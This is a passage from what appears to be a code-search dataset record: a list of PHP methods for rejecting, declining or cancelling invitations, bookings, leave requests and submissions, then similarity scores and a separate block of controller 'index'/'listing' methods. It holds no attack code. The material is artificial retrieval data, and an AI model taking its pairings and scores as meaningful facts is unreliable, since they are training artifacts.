array('user_one_id'=>$inviterID, \n\t\t\t\t'user_two_id'=>$this->id));\n\t}", "public function removeMessage($id = 1)\n {\n $this->_raw = '';\n }", "function getReject(){\n //check for the requested invitation available or not\n // $get_invite_id=$this->validateInvitationSecret();\n $invitation=MedicalGroupInvitation::find('all',array('conditions' => array('(user_id=? or email=?) and secret=? and active=1',$this->user_id,$this->email,$this->secret)));\n \n if(!empty($invitation)){\n foreach($invitation as $inv){\n $inv->status=\"REJECTED\";\n $inv->active=0;\n $inv->updated_on=time();\n $inv->save();\n }\n return TRUE;\n }\n else{\n return FALSE;\n }\n }", "public function rejectIfDeactiveBoard(Board $board, User $player);", "public function rejectSubmission(Request $request)\n {\n $submission = Usersubmissionstatus::find($request->id);\n\n // Getting employee id for current submission\n $employeeID = $submission->user_id;\n $submission->status_id = config('constant.status.L1_REJECTED');\n $status = $submission->save();\n $reviewComment = ['submission_status_id' => $request->id, 'reviewer_id' => Auth::user()->id, 'status_id' => config('constant.status.L1_REJECTED'), 'comment' => $request->review_comment, 'created_at' => Carbon::now(), 'updated_at' => Carbon::now()];\n if ($status == 1) {\n Submissionreviewcomment::insert($reviewComment);\n\n $status = $this->sendMail(config('constant.email_status.L1_REJECTED'), $employeeID);\n return response()->json(['status' => 1, 'message' => 'Sucessfully Rejected', 'email_status' => $status], 200);\n }\n else {\n return response()->json(['status' => 0, 'message' => 'There was an error processing your request, please try again'], 200); \n }\n }", "public function getXsiTypeName() {\n return \"RejectedError\";\n }", "public static function reject($id)\n {\n return Order::where('id',$id)\n ->update(['status'=>'CANCELLED']);\n }", "public function allowMessage()\n {\n $this->_data['Mensaje'] = 1;\n }", "function booking_reject_cancellation_email($useremail, $bookingid) {\n\t\t\t//to customer\n\t\t\t\t$message = $this->mailHeader;\n\t\t\t\t$message .= \"Dear Customer,<br>\";\n\t\t\t\t$message .= \"Your booking cancellation request for booking id: $bookingid has been rejected.<br>\";\n\t\t\t\t$message .= \"Thanks For using our service.\";\n\t\t\t\t$message .= $this->mailFooter;\n\n\t\t\t\t$this->email->set_newline(\"\\r\\n\");\n\t\t\t\t$this->email->from($this->sendfrom);\n\t\t\t\t$this->email->to($useremail);\n\t\t\t\t$this->email->subject('Your Booking Cancellation Request is rejected.');\n\t\t\t\t$this->email->message($message);\n\t\t\t\t$this->email->send();\n\t\t}", "public function createRejected($reason);", "public function testDelayedRejection() {\n $promise = new \\React\\Promise\\Deferred();\n \n $task = new \\Async\\Task\\PromiseTask($promise->promise());\n \n // The task should not yet be complete\n $this->assertFalse($task->isComplete());\n \n // Reject the promise\n $promise->reject(new \\Exception(\"rejected\"));\n \n // The task should be complete with an error\n $this->assertTrue($task->isComplete());\n $this->assertTrue($task->isFaulted());\n \n // The message of the task's exception should be that given to the promise\n $this->assertEquals(\"rejected\", $task->getException()->getMessage());\n }", "public function cancel_request() {\n\n $pending_request_exists = $this->micro_relation_exists($this->from, $this->to, \"P\");\n\n if($pending_request_exists) {\n $this->delete_relation(\"P\");\n }\n }", "protected function addRejected(Builder $builder)\n {\n $builder->macro('rejected', function (Builder $builder) {\n $model = $builder->getModel();\n\n $this->remove($builder, $model);\n\n $builder->where($model->getQualifiedStatusColumn(), '=', Status::REJECTED);\n\n return $builder;\n });\n }", "public function reject(Request $request, $id)\n {\n $leave_record = LeaveRecord::find($id);\n $staff_id = $leave_record->staff_id;\n $user = DB::table('users')->where('username',$staff_id)->first();\n\n $data = [\n 'staff_name' => $user->full_name,\n 'man_name' => Auth::user()->full_name,\n 'staff_email' => $user->email,\n 'man_email' => Auth::user()->email,\n ];\n Mail::send(new LeaveRejectMail($data));\n\n /**\n * Check if the leave_record is not the\n * current authenticated leave_record\n */\n $date_current = Carbon::now()->toDateTimeString();\n\n $leave_record->status = $request->input('status');\n $leave_record->status_date = $date_current;\n $leave_record->save();\n return redirect('/my_leave_tasks')->with('info','Selected Leave Request has been Rejected!');\n }", "public function disapprove()\n {\n return $this->approve(false);\n }", "private function ProcessPendingMessages() {\n\t\twhile($message = $this->GetRedisConn()->rPop($this->GetChannel())) {\n\t\t\t$this->ProcessMessage($message);\n\t\t}\n\t}", "public function reject(callable $c);", "public function isRedelivery() {\n return $this->is_redelivery;\n }", "public function rejectInvitation($id){\n\n $invite = Invitation::find($id);\n $invite->delete();\n return redirect()->back();\n }", "public function reject( int $tender_id )\n {\n $tender = Tender::findOrFail($tender_id);\n $canceledStatus = CanceledStatus::first();\n\n $tender->status()->associate(TenderCanceledStatus::first());\n $tender->application->status()->associate($canceledStatus);\n $tender->tenderRefresh->status()->associate($canceledStatus);\n $tender->push();\n\n return $this->resource(\n $tender->refresh()\n );\n\n }", "public function delete_sended_message() {\n // First we delete the message from recipient table\n $this->delete_received_message();\n // Then we detach or actually delete the whole message from message table\n $this->db->query(\"DELETE FROM `message` WHERE id = ?\", array(\n $this->id\n ));\n\n return ($this->db->error()) ? false : true;\n }", "public function deny(Req $request, $id)\n\t{\n\t\t\n\t\t$bookReq = BookRequest::findOrFail($id);\n\t\t$bookReq->destroy();\n\t\tMail::send('emails.contact',['email'=>$data['email'],\n\t\t\t\t\t\t\t\t\t 'name'=>$data['name'],\n\t\t\t\t\t\t\t\t\t 'body'=>$data['body']], \n\t\tfunction($message) use($data)\n\t\t{\n\t\t $message->to('requests@cbhousing.ca', $data['name'])->subject($data['name'].' question');\n\t\t});\t\n\t}", "public function ajaxDeclineRequest()\n\t{\n\t\t$request = FriendshipRequest::declineRequest(Input::get('id'));\n\t\treturn array('error' => 0);\n\t}", "public function rejectTimesheet() {\n $id = request('timesheetId');\n $notes = request('notes');\n Timesheet::find($id)->update([\n 'status'=>'rejected',\n 'notes'=>$notes\n ]);\n return back();\n }", "public function reject(Closure $callback): ReadableCollection;" ]
[ "0.73130095", "0.72164863", "0.6544999", "0.6500662", "0.62890816", "0.6233758", "0.6113635", "0.60737824", "0.5893228", "0.57698584", "0.57629097", "0.5757788", "0.571227", "0.5667407", "0.5624781", "0.55641943", "0.555944", "0.5500408", "0.5460884", "0.54497904", "0.54138225", "0.5357054", "0.5334144", "0.52982885", "0.5277362", "0.52495134", "0.5202339", "0.51343673", "0.51061934", "0.5100108", "0.5098722", "0.50938493", "0.50909173", "0.5053659", "0.5021459", "0.5012903", "0.4965042", "0.49512002", "0.4948647", "0.49441248", "0.49292862", "0.49000937", "0.48979393", "0.48894966", "0.48770186", "0.4873031", "0.48721924", "0.48577163", "0.48540768", "0.4853945", "0.48162982", "0.48123547", "0.4809672", "0.4797836", "0.47941783", "0.47897074", "0.4781587", "0.47708136", "0.47627717", "0.4746449", "0.47436664", "0.47238213", "0.47149786", "0.47109526", "0.4709679", "0.4689158", "0.46858504", "0.46858072", "0.46761468", "0.4672114", "0.46701533", "0.46622324", "0.46388063", "0.4630565", "0.4606165", "0.46028295", "0.45913813", "0.45889953", "0.45888945", "0.45881915", "0.4583476", "0.45648518", "0.45635608", "0.4544058", "0.45439428", "0.45433074", "0.4533948", "0.45296666", "0.452373", "0.45155194", "0.45147625", "0.45081377", "0.45053795", "0.44980776", "0.4497092", "0.4495926", "0.44827807", "0.447195", "0.44695383", "0.44591284" ]
0.6555624
2
Display a listing of the resource.
public function index() { $prescripciones= Prescription::where('medico_id', Auth::user()->id)->get(); //return dd($prescripciones); return view("Prescriptions.index",["prescripciones"=>$prescripciones]); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function indexAction()\n {\n $limit = $this->Request()->getParam('limit', 1000);\n $offset = $this->Request()->getParam('start', 0);\n $sort = $this->Request()->getParam('sort', array());\n $filter = $this->Request()->getParam('filter', array());\n\n $result = $this->resource->getList($offset, $limit, $filter, $sort);\n\n $this->View()->assign($result);\n $this->View()->assign('success', true);\n }", "public function listing();", "function index() {\n\t\t$this->show_list();\n\t}", "public function actionList() {\n $this->_getList();\n }", "public function listAction()\n {\n $model = $this->_getPhotoModel();\n $entries = $model->fetchEntries($this->_getParam('page', 1));\n\n $this->view->url = 'http://' . $this->_request->getHttpHost() . $this->_request->getBaseUrl(); \n $this->view->paginator = $entries;\n }", "public function index()\n {\n $items = Item::all();\n return ItemForShowResource::collection($items);\n }", "public function index()\n {\n return Resource::collection(($this->getModel())::paginate(10));\n }", "function index()\n\t{\n\t\t$this->_list();\n\t\t$this->display();\n\t}", "public function listingAction(){\n if (!LoginHelper::isAdmin()){\n Router::redirect('home', '<p class=\"alert alert-danger\">Unauthorized</p>');\n }\n $this->view->render('patient/list', Patient::all());\n }", "public function index()\n {\n //\n $list = $this->obj->all();\n\n return $this->render('index', compact('list'));\n }", "public function action_index()\n\t{\n\t\t$this->template->title = 'Resources';\n\t\t$this->view = View::factory('admin/resource/index');\n\t\t$this->template->scripts[] = 'media/js/jquery.tablesorter.min.js';\n\t\t$this->template->scripts[] = 'media/js/admin/resource.js';\n\t\t\n\t\t$resources = Sprig::factory('resource')->load(NULL, FALSE);\n\t\tif (!empty($resources))\n\t\t{\n\t\t\t$this->view->resources = $resources->as_array();\n\t\t}\n\t}", "function listing()\n\t\t{\n\t\t// en $this->_view->_listado para poder acceder a el desde la vista.\n\t\t\t$this->_view->_listado = $listado = $this->_instrumentoModel->getInstrumento();\n\t\t\t$this->_view->render('listing', '', '',$this->_sidebar_menu);\n\t\t}", "public function listAction()\n {\n $em = $this->getDoctrine()->getManager();\n \n $todos = $em->getRepository(Todo::class)->findAll();\n \n return $this->render('todo/index.html.twig', array(\n 'todos' => $todos,\n ));\n }", "public function index()\n\t{\n $this->authorize('list', Instance::class);\n\n\t\treturn $this->ok($this->repo->paginate($this->request->all()));\n\t}", "public function actionRestList() {\n\t $this->doRestList();\n\t}", "public function listing()\n\t{\n\t\t$hospitalID = $this->request->getSession()->read(\"hospital_id\") ? $this->request->getSession()->read(\"hospital_id\") : \"\";\n\t\t\n\t\t$patientMonitored = 1;\n\t\t$patientActive = 1;\n\t\t\n\t\t//GET ALL PATIENTS\n\t\t$patientsData = $this->Patients->allPatients($hospitalID,$patientMonitored,$patientActive);\n\t\t//GET ALL PATIENTS\n\t\t\n\t\t//echo \"<pre>\"; print_r($patientsData);die;\n\t\t$this->set(compact(\"patientsData\"));\n\t}", "public function listAction()\n {\n $htmlpage = '<!DOCTYPE html>\n<html>\n <head>\n <meta charset=\"UTF-8\">\n <title>todos list!</title>\n </head>\n <body>\n <h1>todos list</h1>\n <p>Here are all your todos:</p>\n <ul>';\n \n $em = $this->getDoctrine()->getManager();\n $todos = $em->getRepository(Todo::class)->findAll();\n foreach($todos as $todo) {\n $htmlpage .= '<li>\n <a href=\"/todo/'.$todo->getid().'\">'.$todo->getTitle().'</a></li>';\n }\n $htmlpage .= '</ul>';\n\n $htmlpage .= '</body></html>';\n \n return new Response(\n $htmlpage,\n Response::HTTP_OK,\n array('content-type' => 'text/html')\n );\n }", "public function index()\n {\n // Get Persons\n $person = Person::paginate(10);\n\n //Return collection of person as a resource\n return PersonResource::collection($person);\n }", "public function listAction() {\n\t\t$this->view->title = $this->translator->translate(\"Invoice list\");\n\t\t$this->view->description = $this->translator->translate(\"Here you can see all the invoices.\");\n\t\t$this->view->buttons = array(array(\"url\" => \"/admin/invoices/new/\", \"label\" => $this->translator->translate('New'), \"params\" => array('css' => null)));\r\n\t\t$this->datagrid->setConfig ( Invoices::grid() )->datagrid ();\n\t}", "public function listAll()\n\t{\n\t\t$this->render(self::PATH_VIEWS . '/list', [\n\t\t\t'pages' => $this->pagesDb->findAll('id', 'DESC'),\n\t\t]);\n\t}", "public function list()\n {\n // récupérer les données : toutes les catégories enregistrées\n $productList = Product::findAll();\n\n $this->show('product/list', [\n 'productList' => $productList\n ]);\n }", "public function index()\n {\n // CRUD -> Retrieve --> List\n // BREAD -> Browse Read Edit Add Delete\n // return Item::all();\n return view('list_items',compact('items'));\n }", "public function index()\n {\n // Get manufacturers\n $manufacturers = Manufacturer::orderBy('created_at', 'desc')->paginate(15);\n\n // Return collection of manufacturers as a resource\n return ManufacturerResource::collection($manufacturers);\n }", "public function index()\n {\n return ArtistResource::collection(Artist::orderBy('created_at', 'desc')->get());\n }", "public function indexAction() {\n\t\t$page = intval($this->getInput('page'));\n\t\t$perpage = $this->perpage;\n\t\t\n\t\tlist(,$files) = Lock_Service_FileType::getAllFileType();\n\t\t$data = array();\n\t\tforeach ($files as $key=>$value) {\n\t\t\t$data[$key]['id'] = $value['id'];\n\t\t\t$data[$key]['title'] = $value['name'];\n\t\t}\n\t\tlist($total, $filetype) = Lock_Service_FileType::getList($page, $perpage);\n\t\t$this->assign('filetype', $filetype);\n\t\t$this->assign('pager', Common::getPages($total, $page, $perpage, $this->actions['listUrl'].'/?'));\n\t\t$this->assign('data', json_encode($data));\n\t}", "public function listAction()\n {\n $qb = $this->getRepository()->queryAll();\n\n $view = new ImportListView;\n $view->imports = $qb->getQuery()->execute();\n\n return $this->templating->renderResponse('InfiniteImportBundle:Import:list.html.twig', array(\n 'data' => $view\n ));\n }", "public function index()\n\t{\n\t\t//Return model all()\n\t\t$instances = $this->decorator->getListingModels();\n\n\t\treturn View::make($this->listingView, array(\n\t\t\t'instances' => $instances,\n\t\t\t'controller' => get_class($this), \n\t\t\t'modelName' => class_basename(get_class($this->decorator->getModel())),\n\t\t\t'columns' => $this->getColumnsForInstances($instances),\n\t\t\t'editable' => $this->editable\n\t\t));\n\t}", "public function index()\n {\n return InfografiResources::collection(\n Infografi::orderBy('date', 'desc')->get()\n );\n }", "public function listAction()\n\t {\n\t\t\t$this->_forward('index');\n \n\t\t}", "public function index()\n {\n $this->list_view();\n }", "public function index()\n {\n $this->list_view();\n }", "public function index()\n {\n $this->list_view();\n }", "public function listAction()\n {\n $defaults = array(\n 'page' => null,\n 'order' => null,\n 'limit' => null,\n 'offset' => null,\n 'filter' => array(),\n );\n $body = $this->getRequest()->getBody();\n $options = $body + $defaults;\n\n // Process the options\n if (is_string($options['order'])) {\n $options['order'] = array_map('trim', explode(',', $options['order']));\n }\n if (is_string($options['page'])) {\n $options['page'] = (int)$options['page'];\n }\n if (is_string($options['limit'])) {\n $options['limit'] = (int)$options['limit'];\n }\n if (is_string($options['offset'])) {\n $options['offset'] = (int)$options['offset'];\n }\n $filter = $options['filter'];\n unset($options['filter']);\n\n $options = array_filter($options);\n\n return $this->getBinding()->find($filter, $options);\n }", "public function index()\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Get the resources from the model */\n $resources = $this->resourcesList($this->model);\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.index\")) {\n $view = \"admin.{$this->name}.index\";\n } else {\n $view = 'admin.includes.actions.index';\n }\n\n /* Display a listing of the resources */\n return view($view)\n ->with('resources', $resources)\n ->with('module', $this->module);\n }", "public function index()\n\t{\n\t\t$data['lists'] = $this->mdl_student->get_all();\n\t\t$this->template->set('title', 'Student Hostel List');\n\t\t$this->template->load('template', 'contents', 'student_hostel/student_hostel_list', $data);\n\t}", "public function index()\n {\n $modules = Module::all();\n return Resource::collection($modules);\n }", "public function index()\n {\n // List all resources from user entity\n $users = User::all();\n\n return $this->showAll($users);\n }", "public function index()\n {\n // Get todos\n $todos = Todo::orderBy('created_at', 'desc')->paginate(3);\n\n // Return collection of articles as a resource\n return TodoResource::collection($todos);\n }", "public function index()\n {\n return Resources::collection(Checking::paginate());\n }", "public function index()\n {\n return CourseListResource::collection(\n Course::query()->withoutGlobalScope('publish')\n ->latest()->paginate()\n );\n }", "public function index()\n {\n $cars = Car::paginate(15);\n return CarResource::collection($cars);\n }", "public function index()\n {\n // Get articles\n $articles = Article::orderBy('created_at', 'desc')->paginate(5);\n\n // Return collection of articles as a resource\n return ArticleResource::collection($articles);\n }", "public function index()\n {\n $authors = Author::paginate(10);\n\n return AuthorResource::collection($authors);\n }", "public function index()\n {\n //Get Books\n $books = Book::paginate(10);\n \n if ($books) {\n return (BookResource::collection($books))->additional([\n 'status_code' => 200,\n 'status' => 'success',\n ]);\n } else {\n return (BookResource::collection([]))->additional([\n 'status_code' => 200,\n 'status' => 'success',\n ]);\n }\n return view('index')->with('data', $books);\n }", "public function view(){\n\t\t$this->buildListing();\n\t}", "public function index()\n {\n $books = Book::latest()\n ->paginate(20);\n\n return BookResource::collection($books);\n }", "public function index()\n {\n $listing = Listing::orderBy('id', 'desc')->paginate(10);\n return view('listings.index')->withListings($listing);\n }", "public function listAction()\n {\n $this->_getSession()->setFormData([]);\n\n $this->_title($this->__('Training Cms'))\n ->_title($this->__('Pages'));\n\n $this->loadLayout();\n\n $this->_setActiveMenu('training_cms');\n $this->_addBreadcrumb($this->__('Training Cms'), $this->__('Training Cms'));\n $this->_addBreadcrumb($this->__('Pages'), $this->__('Pages'));\n\n $this->renderLayout();\n }", "public function index()\n {\n $services = $this->serviceRepository->paginate();\n\n return ServiceResource::collection($services);\n }", "public function index()\n {\n $resources = ResourceManagement::paginate(5);\n $users = User::get();\n\n return view('resources-mgmt/index', ['resources' => $resources, 'users' => $users]);\n }", "public function index()\n {\n $catalogs = Catalog::where('status', '=', Catalog::PUBLICADO)\n ->orderBy('id', 'DESC')->get();\n \n $data = CatalogResource::collection($catalogs);\n\n return [\n 'items' => $data,\n 'mensaje' => ''\n ];\n }", "public function listAction(){\n // In a controller this can be:\n // $this->request->getQuery('page', 'int'); // GET\n $currentPage = $this->request->getPost('pageindex', 'int'); // POST\n $pageNum = ($currentPage == null) ? 1 : $currentPage;\n\n // The data set to paginate\n $message = new Notice();\n $results = $message->getMsg4Admin();\n\n // Create a Model paginator, show 10 rows by page starting from $currentPage\n $paginator = new PaginatorArray(\n array(\n \"data\" => $results,\n \"limit\" => 10,\n \"page\" => $pageNum\n )\n );\n\n // Get the paginated results\n $page = $paginator->getPaginate();\n\n return $this->response->setJsonContent($page);\n\n }", "public function list()\n {\n try {\n return $this->success($this->service->list());\n } catch (\\Exception $exception) {\n return $this->error($exception->getMessage());\n }\n }", "public function index()\n {\n return $this->sendResponse(CrisisResource::collection(Crisis::paginate(10)), 'Data fetched successfully');\n }", "public function index()\n\t{\n\t\t$%Alias = new %Model();\n\t\t$params = array();\n\t\t\n\t\t$Paginator = new Paginator( $%Alias->findSize( $params ), $this->getLimit(), $this->getPage() );\n\t\t$this->getView()->set( '%Aliass', $%Alias->findList( $params, 'Id desc', $this->getOffset(), $this->getLimit() ) );\n\t\t$this->getView()->set( 'Paginator', $Paginator );\n\t\treturn $this->getView()->render();\n\t}", "public function listAction() {}", "public function index()\n {\n\n return RecipeResource::collection(Recipe::all());\n }", "public function index()\n {\n $this->indexPage('list-product', 'List Product');\n }", "public function listAction()\n {\t\n\t\t$this->removeSession();\n\t\t$this->verifySessionRights();\n\t\t$this->setActivity(\"List view\");\n $em = $this->getDoctrine()->getManager();\n $oRepClient = $em->getRepository('BoAdminBundle:Client');\n\t\t$nb_tc = $oRepClient->getTotal();\n\t\t//get page\n\t\t$page = $this->get('session')->get('page');\n\t\tif($page==null){\n\t\t\t$page=1;\n\t\t\t$this->get('session')->set('page',1);\n\t\t}\n\t\t//get number line per page\n\t\t$nb_cpp = $em->getRepository('BoAdminBundle:Param')->getParam(\"display_list_page_number\",1);\n\t\t$nb_pages = ceil($nb_tc/$nb_cpp);\n\t\t$offset = $page>0?($page-1) * $nb_cpp:0;\n\t\t$clients = $em->getRepository('BoAdminBundle:Client')->findBy(array(),array('id' => 'desc'),$nb_cpp,$offset);\n $form = $this->createForm('Bo\\AdminBundle\\Form\\ClientType', new Client());\n return $this->render('client/index.html.twig', array(\n 'clients' => $clients,\n\t\t\t'page' => $page, // forward current page to view,\n\t\t\t'nb_pages' => $nb_pages, //total number page,\n 'form' => $form->createView(),\n\t\t\t'total'=>$nb_tc, // record number.\n\t\t\t'nb_cpp' => $nb_cpp,// line's number to display\n\t\t\t'pm'=>\"contracts\",\n\t\t\t'sm'=>\"client\",\n ));\n }", "public function index()\n {\n return AcResource::collection(Ac::latest()->paginate()); //\n }", "public function executeList()\n {\n $this->setTemplate('list');\n }", "public function indexAction()\n {\n $books = Book::getAll();\n\n View::renderTemplate('Books/index.html', [\n 'books' => $books\n ]);\n }", "function listing() {\r\n\r\n }", "public function listar() {\n $rs = $this->model->listar();\n\n echo $this->toJson($rs);\n }", "public function index()\n {\n return BookResource::collection(Book::orderby('id')->get());\n }", "public function doRestList()\n {\n $this->outputHelper( \n 'Records Retrieved Successfully', \n $this->getModel()->with($this->nestedRelations)->filter($this->restFilter)->orderBy($this->restSort)->limit($this->restLimit)->offset($this->restOffset)->findAll(),\n $this->getModel()->with($this->nestedRelations)->filter($this->restFilter)->count()\n );\n\t}", "public function index()\n {\n $client = Client::paginate();\n return ClientResource::collection($client);\n }", "public function index()\n {\n return TagResource::collection(\n Tag::orderBy('name', 'ASC')->paginate(request('per_page', 10))\n );\n }", "public function _index(){\n\t $this->_list();\n\t}", "public function index()\n\t{\n\t\t$data['lists'] = $this->gallery_mdl->get_all();\n\t\t$this->template->set('title', 'Gallery');\n\t\t$this->template->render('template', 'list', $data);\n\t}", "function drush_restapi_list() {\n\n $resources = restapi_get_resources();\n $last_module = NULL;\n $rows = [\n [dt('Module'), dt('Path'), dt('Class')],\n ];\n\n foreach($resources as $resource) {\n if ($last_module != $resource->getModule()) {\n $module = $last_module = $resource->getModule();\n }\n else {\n $module = '';\n }\n $rows[] = [$module, $resource->getPath(), $resource->getClass()];\n }\n\n drush_print_table($rows, TRUE);\n drush_log(dt('Displaying !count total resources', [\n '!count' => count($resources),\n ]), 'ok');\n\n}", "public function index()\n {\n $this->booklist();\n }", "public function index()\n {\n //\n $accounts = accounts::paginate(15);\n\n //return the collection of employees as a resource\n return accountResource::collection($accounts);\n\n\n }", "public function index()\n {\n $items = Item::all();\n return view('items::list_items',compact('items'));\n }", "public function index()\n {\n // Get houses\n $houses = House::orderBy('created_at', 'desc')->paginate(self::PAGINATE);\n \n // Return collection of houses\n \n return HouseResource::collection($houses);\n }", "public function index()\n {\n $products = Product::paginate(6);\n return ProductResource::collection($products);\n }", "public function index() {\n $this->template->allFoundItems = Found::showAll();\n $this->template->display( 'index.html.php' );\n }", "public function indexAction() {\n $this->_forward('list');\n }", "public function index()\n {\n $data = Productcategory::paginate(10);\n\t\treturn ProductcategoryResource::Collection($data);\n }", "public function index()\n {\n return SongResource::collection(\\App\\Song::orderBy('created_at', 'desc')->get());\n }", "public function ListView()\n\t{\n\t\t\n\t\t// Requer permissão de acesso\n\t\t$this->RequirePermission(Usuario::$P_ADMIN,\n\t\t\t\t'SecureExample.LoginForm',\n\t\t\t\t'Autentique-se para acessar esta página',\n\t\t\t\t'Você não possui permissão para acessar essa página ou sua sessão expirou');\n\t\t\n\t\t//$usuario = Controller::GetCurrentUser();\n\t\t//$this->Assign('usuario',$usuario);\n\t\t$this->Render();\n\t}", "public function index () {\n permiss ( 'role.list' );\n\n $data = $this->entity\n ->orderBy('created_at', 'desc')->get();\n\n return new ModelResource($data);\n }", "public function showResources()\n {\n $resources = Resource::get();\n return view('resources', compact('resources'));\n }", "public function index()\n {\n //get articless\n $articles = Article::paginate(15);\n\n //Return collection of article has a resource\n return ArticleResource::collection($articles);\n\n }", "public function actionList() {\n header(\"Content-type: application/json\");\n $verb = $_SERVER[\"REQUEST_METHOD\"];\n\n if ($verb === 'GET') {\n echo \"{\\\"data\\\":\" . CJSON::encode(Donneur::model()->findAll()) . \"}\";\n } else if ($verb == 'POST') {\n if (Donneur::model()->exists('id' === $_POST['id'])) {\n $this->actionListUpdate($_POST);\n } else {\n $this->actionListPost();\n }\n } else if ($verb == 'DELETE') {\n $this->actionListDelete();\n }\n }", "public function list()\n {\n return $this->http->request(HttpMethods::GET, $this->endpoint);\n }", "public function indexAction(){\n $data = array(\n 'collection' => $this->model->getCollection(),\n \n ); \t\n return $this->getView($data);\n }", "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('DiverPriceLisrBundle:Items')->findAll();\n\n return $this->render('DiverPriceLisrBundle:Items:index.html.twig', array(\n 'entities' => $entities,\n ));\n }", "public function actionIndex()\n {\n $dataProvider = new ActiveDataProvider([\n 'query' => Slaves::find(),\n ]);\n\n return $this->render('index', [\n 'dataProvider' => $dataProvider,\n ]);\n }", "public function listAction() {\n\t\t// Recogemos el repositorio\n\t\t$repository = $this->getDoctrine() ->getRepository('AppBundle:Product');\n\t\n\t\t// Recuperamos todos los productos.\n\t\t$products = $repository->findAll();\n\t\t// Pasamos a la plantilla el aray products\n\t\treturn $this->render('product/listActionProduct.html.twig', array( 'products' => $products));\n\t\n\t}", "public function listAction()\n\t {\n\t\t$model = $this->_getModel();\n\t\t$result = $model->getLayouts();\t\n\t\t$page = (int)($this->_request->getParam('page')); \n\t\tif(count($result) > 0)\n\t\t{ \n\t\t\tGlobals::doPaging($result, $page, $this->view);\n\t\t}\n\t\t\t\t\n\t\t$this->view->page = $page;\n\t }", "public function actionList()\n {\n // get model\n $model = new $this->_model('search');\n $model->unsetAttributes();\n\n // set filter\n if (isset($_GET[$this->_model])) {\n $model->attributes = $_GET[$this->_model];\n }\n $model->u_cms_album_id = $_GET['album'];\n\n // search\n $dataProvider = $model->search(Yii::app()->language);\n // sort\n $sort = $dataProvider->getSort();\n // route\n $sort->route = $this->id . '/list';\n\n // pagination parameters\n $pagination = $dataProvider->getPagination();\n $pagination->route = $this->id . '/list';\n $pagination->pageSize = UInterfaceSetting::model()->getSettings($this->id . ':' . $this->module->id, Yii::app()->user->id)->page_size;\n $pagination->itemCount = $dataProvider->totalItemCount;\n\n // datas\n $datas = $dataProvider->getData();\n\n // related datas\n $relatedDatas = $this->_loadRelatedData();\n\n // template\n $template = isset($_REQUEST['partial']) ? 'list/_table' : 'list/main';\n\n $jsonParams = array();\n if (Yii::app()->request->isAjaxRequest) {\n // filters\n $filtersDatas = array();\n if (isset($_GET[$this->_model])) {\n $filtersDatas[$this->_model] = $_GET[$this->_model];\n }\n if (isset($_GET[$sort->sortVar])) {\n $filtersDatas[$sort->sortVar] = $_GET[$sort->sortVar];\n }\n\n $jsonParams = array(\n 'filters' => http_build_query($filtersDatas)\n );\n }\n\n $this->dynamicRender(\n $template,\n array(\n 'dataView' => new $this->crudComponents['listDataView'](\n $datas, $relatedDatas, $model, $sort, $pagination, $this\n )\n ),\n $jsonParams\n );\n }", "public function index()\n {\n return view('listings.index')->with('listings', Listing::all());\n }", "public function get_index()\n\t{\n\t\t$pages = Page::recent_available()->paginate(30);\n\t\t$table = Cello\\Presenter\\Page::table($pages);\n\t\t$data = array(\n\t\t\t'eloquent' => $pages,\n\t\t\t'table' => $table,\n\t\t);\n\n\t\tSite::set('title', __('cello::title.pages.list'));\n\n\t\treturn View::make('cello::api.resources.index', $data);\n\t}", "public function index()\n {\n return ProductResource::collection(Product::latest()->paginate(10));\n }", "public function index()\n {\n $category = GalleryCategory::paginate(15);\n\n // return collection of category as a resource.\n return Resource::collection($category);\n }", "public function index()\n {\n //\n $news = News::latest()->paginate(18);\n\n return NewsResource::collection($news);\n }", "public function indexAction() {\n\t\t$list_info = Zend_Registry::get('list_info');\n if (!Engine_Api::_()->core()->hasSubject('list_listing')) {\n return $this->setNoRender();\n }\n \n $this->view->expiry_setting = Engine_Api::_()->list()->expirySettings();\n\n //GET SUBJECT\n $this->view->list = $list = Engine_Api::_()->core()->getSubject('list_listing');\n\n\t\t//GET CATEGORY TABLE\n\t\t$this->view->tableCategory = Engine_Api::_()->getDbTable('categories', 'list');\n\n //GET CATEGORIES NAME\n\t\t$this->view->category_name = $this->view->subcategory_name = $this->view->subsubcategory_name = '';\n\n\t\tif(!empty($list->category_id)) {\n\t\t\tif($this->view->tableCategory->getCategory($list->category_id))\n\t\t\t$this->view->category_name = $this->view->tableCategory->getCategory($list->category_id)->category_name;\n\n\t\t\tif(!empty($list->subcategory_id)) {\n\t\t\t\tif($this->view->tableCategory->getCategory($list->subcategory_id))\n\t\t\t\t$this->view->subcategory_name = $this->view->tableCategory->getCategory($list->subcategory_id)->category_name;\n\n\t\t\t\tif(!empty($list->subsubcategory_id)) {\n\t\t\t\t\tif($this->view->tableCategory->getCategory($list->subsubcategory_id))\n\t\t\t\t\t$this->view->subsubcategory_name = $this->view->tableCategory->getCategory($list->subsubcategory_id)->category_name;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n //GET LISTING TAGS\n $this->view->listTags = $list->tags()->getTagMaps();\n\n\t\t//GET OTHER DETAILS\n\t\t$this->view->list_description = Zend_Registry::get('list_descriptions');\n $this->view->addHelperPath(APPLICATION_PATH . '/application/modules/Fields/View/Helper', 'Fields_View_Helper');\n $this->view->fieldStructure = Engine_Api::_()->fields()->getFieldsStructurePartial($list);\n\t\tif(empty($list_info)){ return $this->setNoRender(); }\n }", "public function index()\n {\n return $this->service->fetchResources(Author::class, 'authors');\n }", "public function index()\n {\n return view('admin.resources.index');\n }", "public function doRestList() {\n\t\t$this->outputHelper ( 'Collections Retrieved Successfully', $this->getModel ()->with ( $this->nestedRelations )->filter ( $this->restFilter )->orderBy ( $this->restSort )->limit ( $this->restLimit )->offset ( $this->restOffset )->findAll (), $this->getModel ()->with ( $this->nestedRelations )->filter ( $this->restFilter )->count () );\n\t}" ]
